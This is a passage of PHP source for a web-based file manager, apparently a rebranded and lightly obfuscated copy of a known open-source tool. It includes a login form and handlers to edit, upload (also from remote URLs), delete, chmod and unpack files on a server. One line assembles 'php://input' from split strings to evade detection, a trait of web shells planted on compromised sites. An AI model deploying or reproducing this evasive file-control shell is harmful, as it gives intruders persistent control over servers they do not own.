<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
